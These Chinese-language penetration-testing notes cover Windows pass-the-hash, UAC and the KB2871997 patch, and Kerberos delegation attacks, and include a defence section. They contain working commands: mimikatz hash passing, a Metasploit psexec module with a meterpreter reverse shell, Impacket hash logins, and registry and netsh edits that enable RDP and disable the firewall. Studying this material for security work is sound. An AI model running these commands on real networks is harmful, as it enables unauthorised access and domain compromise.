在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和 工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来 完成任务。
在 **Windows Server 2012 R2及之后版本**的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权 限验证,实现对远程计算机的控制。
使用环境:域/工作组
版本限制:
- Windows NT 5.x中,管理员组账号均能获取系统管理权
- Windows NT 6.x中,管理员组(除SID500账户)不能获取管理员权限
使用条件:要登录的用户是域管理员组(域)或者管理员组(工作组),知道前面账号的密码hash
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken的值需要为0,如果为1则管理员也无法通过网络登录的方式获取高权限。
如果HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy值为1,则所有管理员组账户都能获取高权限。
哈希传递攻击原理¶
当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列加密 处理(通常使用MD5算法)散列加密算法般为单向不可逆算法。
当用户登录网站时,会先对用户输入的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。 主流的Windows操作系统,通常会使用 NTLM Hash对访问资源的用户进行身份验证。早期版本的 Windows操作系统,则使用 LM Hash对用户密码进行验证。
但是,当密码大于等于14位 时,就无法使用 LM Hash了。从 Windows vista和 Windows server 2008版本开始, Windows操作系统默认禁用 LM Hash,因为在使用 NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API(例如Lsalogon User)转换成散列值。
不过,攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。
NTLM/LM Hash可以参考之前笔记:[[内网渗透/Windows域内协议]]
哈希传递条件¶
哈希传递攻击的前提:有管理员的 NTLM Hash ,并且目标机器开放445端口。Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是**administrator(SID为500)用户的哈希值**才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
-
在工作组环境中: Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。 -
在域环境中: 只能是**域管理员组内用户**(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
哈希传递与UAC限制¶
图中可以看到在Windows中administrator的RID为500,并且是唯一的。同样为管理员组的本地帐户的testpth的RID的值为1000。

而域账号xxm使用的是域内的SID号。

根据微软官方关于远程访问和用户帐户控制的相关文档可以了解到,UAC为了更好的保护Administrators组的帐户,会在网络上进行限制。https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows
在使用本地用户进行远程登录时不会使用完全管理员权限(full administrator),但是在域用户被加入到本地管理员组之后,域用户可以使用完全管理员(full administrator)的Access Token运行,并且UAC不会生效。

由此可见在上面的实验中域用户xxm能够成功PTH,而本地用户testpth无法成功,是因为以testpth的身份发起的请求被UAC拒绝。而administrator用户成功的原因同样是因为UAC。
FilterAdministratorToken¶
在UAC组策略设置和注册表项设置的官方文档(https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd835564(v=ws.10)#BKMK_BuiltInAdmin)中可以看到相关的描述,关于UAC的注册表中一个注册表键值为FilterAdministratorToken,且在Windows Server 2008默认为Disable。

紧跟着文档中就添加了关于Admin Approval Mode的说明:

可以看到图片中说明了在默认情况下FilterAdministratorToken设置为Disable(管理员批准模式关闭),在UAC的控制策略中对于内置administrator帐户和域账户xxm运行程序时就会直接赋予完全管理权限(fulladministrative privilege)。这就是本地帐户administrator和域帐户xxm成功而本地管理员帐户testpth失败的原因。
在WindowsServer 2012 R2版本服务器中可以看到本地安全策略中的“用户帐户控制:以管理员批准模式运行所有的管理员”确实是默认开启的。

那如何限制administrator的远程登录呢?那就是直接把FilterAdministratorToken开启就可以了。现在将testwin7主机的FilterAdministratorToken设置为1。
路径为:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

修改之后策略会立即生效,可以看到使用administrator的远程连接也被拒绝了

LocalAccountTokenFilterPolicy¶
Question
上面我们知道了使用非administrator的本地管理员帐户testpth进行Pass The Hash为什么失败,那如何禁用UAC的限制?
官方文档也是有提到的https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows
可以通过修改注册表中LocalAccountTokenFilterPolicy选项的键值来进行更改。注册表项为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
如果LocalAccountTokenFilterPolicy注册表项不存在可以直接新建一条,并将值设置为1
LocalAccountTokenFilterPolicy的值默认为0(开启远程限制),为1时将关闭远程限制

再次使用本地管理员账号testpth可以成功远程连接。

在防御远程访问的时候,这个注册表需要更加注意,默认情况下这个注册表键值为0,也就是说远程限制是开启的,如果由于误操作将此键值设置为1那无疑是对攻击者敞开了大门。
Tip
上述注册表项只影响本地用户组用户,对域用户是没有影响的
哈希传递实验¶
环境配置¶
192\.168.41.30 机器是admin用户进行登录 (本地管理员)
192\.168.41.20 机器是administrator登录 (本地管理员)
# 两台机器的administrator用户账号密码相同
获取用户Hash¶
- Minikatz
其他获取Hash方式参考:https://www.secrss.com/articles/24903
Minikatz进行PTH¶
目前使用dir不能访问20机器

使用mimikatz进行hash传递,
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:hack.com /ntlm:570a9a65db8fba761c1008a51d4c95ab

传递完成后会弹出一个框可以进行链接了
MSF进行PTH¶
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost {LIP}
msf exploit(psexec) > set rhost {RIP}
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass {HASH}
#这里LM和NTLM我们已经获取到了
msf exploit(psexec) > exploit
CS进行PTH¶

Impacket进行PTH¶
Impacket工具包:https://github.com/maaaaz/impacket-examples-windows
- wmiexec.exe
wmiexec.exe -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 wwl/Administrator@192.168.223.10
- psexec.py
python psexec.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
- wmiexec.py
python wmiexec.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
- atexec.py
python atexec.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10 whoami
Important
PTH能成功的本质原因是在于工作组/域内多个用户使用相同的密码
关于KB2871997补丁的分析¶
微软在2014年5月发布了KB2871997。该补丁禁止通过本地管理员权限与远程计算机行连接,,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、 smbexec, schtasks,也无法访问远程主机的文件共享等。
事实证明KB2871997不能直接限制Pass The Hash,具体更改为以下几点。
- 支持“Protected Users”组
- Restricted Admin RDP模式的远程桌面客户端支持
- 注销后删除LSASS中的凭据
- 添加两个新的SID
- LSASS中只允许wdigest存储明文密码
支持“Protected Users”组¶
“Protected Users”组是Windows Server 2012 R2域中的安全组,“Protected Users”组的成员会被强制使用Kerberos身份验证,并且对Kerberos强制执行AES加密。

Tip
将用户加入Protected Users组后,该用户将不能用于PTH攻击,包括administrator
Restricted Admin RDP模式的远程桌面客户端支持¶
Restricted Admin RDP模式是为了避免将Client端的凭据暴露给远程系统,同时也产生一种变种的Pass The Hash(Passing the Hash with Remote Desktop),网上已经有说明文章,这里不再赘述。同时这个功能只支持Windows server 2012和Windows8.1。

注销后删除凭证¶
在这个更新之前,只要用户登录系统,Windows就会在lsass中缓存用户的凭据,包括用户的明文密码、LM/NTLM HASH、Kerberos的TGT票据/Session Key。
Tip
更新后,当用户注销后,所有的缓存凭据将被清除
新的SID¶
在更新中新添加了两个SID:
- 本地帐户,LOCAL_ACCOUNT(S-1-5-113),所有本地帐户继承自此SID;
- 本地帐户和管理组成员,LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_
GROUP(S-1-5-114),所有管理员组的本地用户继承此SID。
注意:S-1-5-114这里在中文操作系统中提供的翻译是“NT AUTHORITY\本地帐户和管理员组成员”,但实际上是“所有本地Administrators组中的本地帐户”,即域用户即使被加入到了本地Administrators组也不继承此SID。

这个SID对于限制横向渗透的远程连接并没有任何实质的作用,它的主要作用是更方便的防止通过网络使用本地帐户登录。对于防御人员来说我们可以通过将这两个SID对应的组加入组策略中的下列选项,从而限制攻击者能够从外部访问本地系统/服务:
- 拒绝从网络访问这台计算机
- 拒绝通过远程桌面服务登录

当我们直接将这两个组加入拒绝访问列表的方式来禁用使用本地帐户进行网络访问时,可以看到使用本地administrator帐户提示“登录失败:未授予用户再次计算机上的请求登录类型”。同时也实验了只加入“本地帐户(S-1-5-113)”这一个SID对应的组,发现administrator依然被拒绝!

此时加入本地管理员组的域用户并不受影响,证明了上面的说法,也就是说其实这个补丁新添加的两个组在whoami /all里的中文翻译还是有一定的误导性的:

域管理员帐户administrator一样也可以成功。

所以从实验结果来看这两个SID的作用就是将原本Windows的本地组做了一个合并和处理,让用户在添加组策略时更方便一点,同时对于它们的关系来说S-1-5-114是S-1-5-113的子集,S-1-5-113包含所有本地用户,S-1-5-114包括的是Administrators组中的本地用户。

LSASS中删除了明文凭证¶
前面说到LSASS会存储用户的明文密码,这个更新只允许WDigest在LSASS中存储明文密码。如果想防止WDigest的明文密码存储在LSASS中则可以通过修改下面注册表的键值来实现:
HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ SecurityProviders \ WDigest
- 如果UseLogonCredential值设置为0,则WDigest不会将凭据存储在内存中;
- 如果UseLogonCredential值设置为1,WDigest将在内存中存储凭据。

修改注册表之后发现已经不能看到WDigest保存的明文密码(需重启或注销登录生效)。

在实际测试中,更新KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但administration账号(SD为500)例外,使用该账号的散列值依然可以进行哈希传递。
这里强调的是SID为500的账号。在一些计算机中,即使将Administrator账号改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行横向移动,就不会受到KB2871997影响。在实际网络维护中需要特别注意这一点。
Restricted Admin Mode进行PTH登录RDP¶
查看RDP¶
- 注册表
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
十六进制0x1关闭,十六进制0x0开启。

- 查看端口、进程
- 使用nmap
当然,查看端口是不一定可靠的,目标可能改了端口。
强制开启RDP¶
- 修改注册表
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

如果目标开启了防火墙,还需要配置防火墙为允许远程桌面连接,或者关闭防火墙。
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
netsh advfirewall set allprofiles state off //关闭防火墙
- 使用MSF
PTH登录RDP¶
适用版本:
Windows 8.1和Windows Server 2012 R2默认支持该功能(但是windwos server 2012似乎并没有这条注册表)
Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
Windows Server 2012 R2 采用了新版的 RDP 远程桌面协议,在这个新版协议中有一个 ”受限管理员”(Restricted Admin)的特性。通过这个特性,我们可以实现哈希传递攻击并成功登录远程桌面。
在抓取到的 Hash 无法破解的情况下,如果目标主机开启了 "Restricted Admin Mode" 也行,那么我们便可以使用 Hash 来直接实现 RDP 远程登录。Restricted Admin Mode在Windows 8.1和 WindowsServer 2012 R2上默认开启。
我们在渗透过程中可以通过修改注册表的方式开启目标主机的Restricted Admin Mode,值为 0 代表开启,值为 1 代表关闭:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
查看是否成功开启。十六进制0x1关闭,十六进制0x0开启。

然后再攻击机上使用 Mimikatz 进行哈希传递,大致原理就是哈希传递成功后执行 mstsc.exe/restrictedadmin 来打开远程桌面:
privilege::debug
sekurlsa::pth /user:administrator /domain:g1ts.com /ntlm:ad5a870327c02f83cb947af6a94a4c23 "/run:mstsc.exe /restrictedadmin"

参考文章:内网技巧-RDP劫持及利用hash登录
PTH攻击防御¶
- 将FilterAdministratorToken的值设置为1,限制本地administrator账户的远程登录
- 可以使用脚本或者人工定时查看LocalAccountTokenFilterPolicy是否曾经被攻击者修改过
- 在组策略中的“拒绝从网络访问这台计算机”将需要限制的组、用户加入到列表中
而对于KB2871997的更新内容来说不管是“Protected Users”组和新的RDP模式以及新的SID号都没有起到实际的限制作用。
新的两个SID组S-1-5-113和S-1-5-114实际只是把本地用户划分了一下,同时这样做是没有太大意义的,在S-1-5-113能够包括所有本地用户的情况下再划分出来一个S-1-5-114组,现实中应该很少存在只是限制S-1-5-114(即管理员组的本地用户)而不限制所有本地用户的情况。
同时如果是为了提升安全等级最好的方式是把Administrators组的域用户一起禁用,而不是只禁用Administrators的本地成员。
唯一有作用的是在LSASS中删除了除WDigest之外的协议所保存的明文了,但是这个操作还需要修改注册表来实现,况且单单删除了lsass中的hash值并不足以限制Pass The Hash这种类型的横向移动。
委派攻击¶
委派是大型网络中经常部署的应用模式,给多跳认证带来了很大的便利与此同时也带来了很大的安全隐患。利用委派,攻击者可结合其他漏洞进行组合攻击,导致攻击者可获取本地管理员权限甚至域管理员权限,还可以制作深度隐藏的后门。
委派是指将域内用户的权限委派给服务账户,使得服务账户能以用户权限访问域内的其他服务。
委派的流程图如图所示,域内用户A以Kerberos身份验证访问Web服务器请求下载文件,但是真正的文件在后台的文件服务器上。于是,Web服务器的服务账户会模拟域用户A,以Kerberos协议继续认证到后台的文件服务器。后台文件服务器将文件返回给Web服务器,Web服务器再将文件返回给域内用户A。这样就完成了一个委派的流程。

在域内,只有主机账户和服务账户才具有委派的属性。
- 主机账户就是活动目录Computers中的计算机,也可以称其为机器账户
- 服务账户是域内用户账户的一种类型,是将服务运行起来并加入域时所用的账户。列如,SQL Server 在安装时会在域内自动注册服务账户SQLServiceAccount,也可以将域用户通过注册SPN变为服务账户。
域内委派主要有三个类型:
- 非约束性委派(Unconstrained Delegation ,UD)
- 约束性委派(Constrained Delegation,CD)
- 基于资源的约束性委派(Resource Based Constrained Delegation,RBCD)
我们来看一下这三种委派之间的联系和区别:
非约束性委派¶
在 Windows Server 2000 首次发布Active Directory时,微软就提供了一种简单的机制来支持用户通过Kerberos向Web服务器进行身份验证,用户通过该机制可以更新后端数据库服务器上的记录。这就是最早的非约束性委派。对于非约束性委派,服务账户可以获取被委派用户的TGT,并将TGT缓存到lsass进程中,从而服务账户可使用该TGT模拟用户访问任意服务。非约束性委派的设置需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员。
- 配置了非约束性委派属性的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的值是528384
- 配置了非约束性委派属性的服务账户的userAccountControl属性Flag位为NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的值为524800
注意:域控默认配置了非约束性委派
如图所示是约束性委派的流程图:

下面分析一下每一个步骤的含义:
1)用户通过发送一个KRB_AS_REQ的消息,向KDC的AS进行身份验证,请求一个可转发的TGT1 2)KDC在KRB_AS_REP消息中返回了一个可转发的TGT1 3)用户根据上一步获取的可转发的TGT1请求另一个可转发的TGT2,这一步是通过KRB_TGS_REQ消息请求的 4)KDC在KRB_TGS_REP消息中为用户返回可转发的TGT2 5)用户使用步骤2中返回的TGT1向KDC请求的服务1的ST 6)KDC的TGS服务在KRB_TGS_REP消息中返回给用户服务1的ST 7)用户发送KRB_AP_REQ的消息中包含TGT1和服务1的ST、TGT2、TGT2的Session Key 8)服务1以用户的名义向KDC的TGS发送KRB_TGS_REQ,请求服务2的ST。请求中包含用户发过来的TGT2 9)KDC的TGS服务在KRB_TGS_REP消息中返回服务2的ST给服务1,以及服务1可以使用的SessionKey。ST将客户端标识为用户,而不是服务1 10)服务1以用户的名义向服务2发起KRB_AP_RE请求 11)服务2响应服务1的KRB_AP_RE请求 12)有了步骤11这个响应,服务1就可以响应步骤7中用户的KRB_AP_REQ 13)这里的TGT转发委派机制没有限制服务1使用TGT2来申请哪个服务,所以服务1可以用户的名义向KDC申请任何其他服务的ST 14)KDC返回步骤13中请求的ST 15)服务1以用户的名义来请求其他服务 16)服务N将像响应用户的请求一样响应服务1
在该流程中,TGT1请求的ST用于访问服务1,TGT2请求的ST用于访问服务2
从网络攻击者的角度来看,如果攻击者控制了服务1,则攻击者可以诱骗域管理员来访问服务1,然后攻击者可以在服务1机器上获取域管理员的TGT,从而可以用缓存的TGT模拟管理员访问任意的服务,包括域控。
约束性委派¶
由于非约束性委派的不安全性,微软在 Windows Server 2003中发布了约束性委派。对于约束性委派,服务账户只能获取该用户对指定的服务的ST。从而只能模拟该用户访问特定的服务。配置了约束性委派的账户的msDS-AllowedToDelegateTo属性会指定对哪个SPN进行委派。约束性委派的设置需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员。
约束性委派有两种:一种是仅使用Kerberos,也就是不能进行协议转换;另一种是使用任何身份验证协议,也就是能进行协议转换。如图所示:

(1)仅使用Kerberos
配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
(2)使用任何身份验证协议
- 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312,并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
- 配置了使用任何身份验证协议约束性委派的服务账户的userAccountControl 属性的Flag 位为 NORMAL_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16777728,并且其其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
(3)约束性委派的流程
为了在Kerberos协议层面对约束性委派进行支持,微软对Kerberos协议扩展了两个自协议:S4u2Self(Service for User to Self)和 S4u2Proxy(Service for User to Proxy)。S4u2Self可以代表任意用户请求针对自身的ST;S4uProxy可以以用户的名义请求针对其他指定服务的ST
如图所示是使用任何身份验证协议的约束性委派的流程图:

下面我们来逐步分析一下每一个步骤的含义:
1)用户向服务1发出请求,用户已通过身份验证,但服务1没有用户的授权数据,这通常是由于用户的身份验证是通过Kerberos以外(基于表单的Web认证、NTLM认证等)的其他方式验证的。 2)服务1已经通过KDC进行了身份验证,并获得了TGT。它通过S4u2Self协议代表用户向KDC请求访问自身服务1的可转发ST 3)KDC返回给服务1访问自身服务1的可转发ST1,就像是用户使用自己的TGT请求的一样,该可转发的ST1可能包含用户的授权数据 4)服务1可以使用ST1中的授权数据来满足用户的请求,然后响应用户 5)用户向服务1发出请求,请求访问服务2上的资源 6)服务1利用S4u4Proxy 协议以用户的名义向KDC请求访问服务2的ST2,该请求中带上了可转发的ST1 7)如果请求中存在PAC,则KDC通过检查PAC结构的签名数据来验证PAC。如果PAC有效或不存在,KDC返回给服务2的可转发ST2,并且存储在ST2的cname和crealm字段中的客户端标识是用户,而不是服务1 8)服务1以用户身份使用可转发ST2向服务2发起请求 9)服务2响应步骤8中的请求 10)服务1响应步骤5中的请求
从网络攻击者的角度来看,如果攻击者控制了服务1的账户,并且服务1配置了到域控的CIFS的约束性委派,则可以利用服务1以任意用户权限(包括域管理员)访问域控的CIFS,即相当于控制了域控
整个流程简化后如图所示:

1)S4u2Self。当用户以其他方式如NTLM认证、基于表单的认证等与Web服务进行认证后,无法向Web服务器提供请求服务的ST,因此服务器也无法进一步使用S4u2Proxy协议请求访问服务B
S4u2Self协议便是解决该问题的方案,被配置为约束性委派的服务账户能够调用S4u2Self协议向KDC申请为任意用户请求访问自身的可转发ST
注意:虽然S4u2Self协议允许服务代表用户向KDC请求访问自身服务的ST,但是此协议扩展不允许服务代表用户向KDC请求访问其他服务的ST
2)S4u2Proxy。S4u2Proxy可以用上一步获得的可转发ST以用户的名义请求针对其他指定服务的ST。S4u2Proxy使得服务A可以使用自用户hack的授权,然后以用户hack的身份向KDC请求访问服务B的ST。需要特别说明的是,服务使用S4u2Proxy协议代表用户获得针对服务自身ST的过程是不需要用户凭据的
基于资源的约束性委派¶
为了使用户和资源更加独立,微软在Windows Server 2012 中引入了基于资源的约束性委派。基于资源的约束性委派不需要域管理员权限去设置,而是把设置属性的权限赋予了机器自身。基于资源的约束性委派允许受信任的账户委派给自身。基于资源的约束性委派只能运行在Windows Server 2012 和 Windows Server 2012 R2及以上的域控上进行配置,但可以在混合模式的林中应用。配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许委派账户的SID,并且被委派属性这里没有任何值。
(1)基于资源的约束性委派流程图:
整个流程如图所示:

整个流程如下:
1)服务A使用自己的服务账户和密码向KDC申请一个可转发的TGT 2)服务A利用S4u2Self协议代表用户申请一个访问自身的ST。这一步区别于传统的约束性委派。在S4uSelf协议中提到,返回的ST可转发的一个条件是服务A配置了传统的约束性委派。KDC会检查服务A的msDS-AllowedToDelegateTo字段,如果这个字段被赋值了,则KDC返回可转发的ST。但是由于这里是基于资源的约束性委派,是在服务B上配置的,服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性配置了服务A的SID,服务A并没有配置msDS-AllowedToDelegateTo字段,因此KDC返回的ST是不可转发的 3)服务A利用S4u2Proxy协议以用户身份向KDC请求访问服务B的可转发ST(上一步获得的不可转发ST放在请求包的AddtionTicket中)。KDC返回访问服务B的可转发ST。 4)服务A用上一步获得可转发ST访问服务B
(2)谁拥有配置基于资源的约束性委派的权限
由前面可知,配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许委派账户的SID。那么,谁能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,就说明谁拥有配置基于资源的约束性委派的权限
在域控上执行如下的命令,查询指定域内机器WIN10的msDS-AllowedToActOnBehalfOfOtherIdentity属性,如图,可以发现默认情况下没有该属性
AdFind.exe -f "&(objectcategory=computer)(name=WIN10)" msDS-AllowedToActOnBehalfOfOtherIdentity

也就是说,谁能添加机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,谁就能配置基于资源的约束性委派。我们使用Adfind执行如下的命令,查询WIN10机器的ACL,看哪些用户修改属性的权限,如图所示,可以看到除了用户administrator外,用户hack\hack 和 SELF 自身拥有修改属性的权限
Adfind.exe -b CN=WIN10,CN=Computers,DC=hack,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;;

administrator和SELF拥有修改属性的权限好理解,为什么用户hack\hack也能拥有修改属性的权限呢?这是因为机器WIN10是通过用户hack\hack加入域的,因此用户hack\hack也拥有修改机器WIN10属性的权限,且机器WIN10的ms-DS-CreaterSID属性的值为用户hack\hack的SID
也就是说,除了传统的域管理员等高权限用户外,机器自身和将机器加入域的域用户拥有修改机器msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,也就是拥有配置基于资源的约束性委派的权限
(3)基于资源的约束性委派的优势
基于资源的约束性委派相比其他两种类型的委派的优势如下:
- 委派的授予权限给了拥有资源的后端,而不是前端。不再需要域管理员权限设置,只需要拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,也就是将机器加入域的域用户和机器在自身都拥有该权限。
- 约束性委派不能跨域进行委派,而基于资源的约束性委派可以跨域和林
(4)约束性委派和基于资源的约束性委派配置的差别
- 传统的约束性委派是“正向的”,通过修改服务账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务B的SPN,设置约束性委派对象为服务B,服务A便可以模拟任意用户向域控请求访问服务B的ST
- 而基于资源的约束性委派则相反,通过修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务A的SID,以达到让服务A模拟任意用户访问服务B资源的目的
(5)基于资源的约束性委派攻击
该攻击是有国外安全研究员Elad Shami 提出的,他在文章中指出无论服务账户的UserAccountControl属性是否被设置为TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION值,服务自身都可以通过调用S4uSelf来为任意用户请求自身的服务票据。但是当没有设置该属性时,KDC通过检查账户的msDS-AllowedToActOnBehalfOfOtherIdentity字段,发现没有被赋值,所以服务自身通过S4uSelf请求到的ST是不可转发的,因此是无法通过S4u2Proxy协议转发到其他服务进行约束性委派认证。但是,在基于资源的约束性委派的过程中,不可转发的ST仍然可以通过S4u2Proxy协议转发到其他服务进行约束性委派认证,并且服务还会返回可转发的ST,这是微软的设计缺陷
因此,如果我们能够在服务B上配置允许服务A的基于资源的约束性委派,那么可以通过控制服务A使用S4uSelf协议向域控请求任意用户访问自身的ST,最后再使用S4u2Proxy协议转发此ST去请求访问服务B的可转发ST,我们就可以模拟任意用户访问服务B了。而这里我们控制的服务A可以普通域用户的身份去创建机器账户。
要想进行基于资源的约束性委派攻击,需要具备以下两个条件:
- 拥有服务A的权限,这里只需要拥有一个普通的域账户权限即可,因为普通的域账户默认最多可以创建10个机器账户,机器账户可以作为服务账户使用
- 拥有在服务B上配置允许服务A的基于资源的约束性委派的权限,即拥有修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。机器账户自身和创建机器账户的用户拥有该权限
查询具有委派属性的账户¶
查询域中具有委派属性的账户可以使用LDAP,通过过滤userAccountControl属性筛选出服务账户和机器账户,机器账户samAccountType=805306369,而服务账户samAccountType=805306368,再通过AllowedToDelegateTo和AllowedToActOnBehalfOfOtherIdentity属性筛选出不同的委派。
查询非约束委派的主机或服务账户¶
查询非约束委派的主机或服务账户可以使用Powershell脚本、Adfind或Ldapsearch工具等
(1)PowerShell脚本
利用PowerSploit下的PowerView.ps1脚本查询,命令如下:
Import-Module .\PowerView.ps1
#查询域中配置了非约束性委派的主机
Get-NetComputer -Unconstrained -Domain hack.com
#查询域中配置了非约束性委派的服务账户
Get-NetUser -Unconstrained -Domain hack.com | select name
(2)Adfind
利用Adfind过滤samAccountType 和 userAccountControl属性,命令如下:
#查询域中配置了约束性委派的主机
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查询域中配置了非约束性委派的服务账户
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
(3)Ldapsearch
利用Ldapsearch过滤samAccountType 和 userAccountControl属性,命令如下:
#查询域中配置了约束性委派的主机
ldapsearch -x -H ldap://192.168.41.10:389 -D "hack@hack.com" -w Admin123 -b "DC=hack,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn
#查询域中配置了非约束性委派的服务账户
ldapsearch -x -H ldap://192.168.41.10:389 -D "hack@hack.com" -w Admin123 -b "DC=hack,DC=com" "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn
查询约束性委派的主机或服务账户¶
查询束性委派的主机或服务账户同样可以使用Powershell脚本、Adfind或Ldapsearch工具等
(1)PowerShell脚本
利用Empire下的PowerView.ps1脚本查询,命令如下:
Import-Module .\PowerView.ps1
#查询域中配置了约束性委派的主机
Get-DomainComputer -TrustedToAuth -Domain hack.com | select name,msds-allowedtodelegateto
#查询域中配置了约束性委派的服务账户
Get-DomainUser -TrustedToAuth -Domain hack.com | select name,msds-allowedtodelegateto
(2)Adfind
利用Adfind过滤samAccountType 和 userAccountControl属性,命令如下:
#查询域中配置了约束性委派的主机,并可以看到被委派的SPN
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
#查询域中配置了约束性委派的服务账户,并可以看到被委派的SPN
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
(3)Ldapsearch
利用Ldapsearch过滤samAccountType 和 userAccountControl属性,命令如下:
#查询域中配置了约束性委派的主机,并可以看到被委派的SPN
ldapsearch -x -H ldap://192.168.41.10:389 -D "hack@hack.com" -w Admin123 -b "DC=hack,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo
#查询域中配置了约束性委派的服务账户,并可以看到被委派的SPN
ldapsearch -x -H ldap://192.168.41.10:389 -D "hack@hack.com" -w Admin123 -b "DC=hack,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo
查询基于资源的约束性委派的主机或服务账户¶
(1)Adfind
利用Adfind过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性,命令如下。使用Adfind查询出来的msDS-AllowedToActOnBehalfOfOtherIdentity值用{Security Descriptor}代替,这个值包含允许被委派的服务账户或机器账户的SID
#查询域中配置了基于资源的约束性委派的主机
Adfind.exe -b ”DC=hack,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
#查询域中配置了基于资源的约束性委派的服务账户
Adfind.exe -b ”DC=hack,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
(2)Ldapsearch
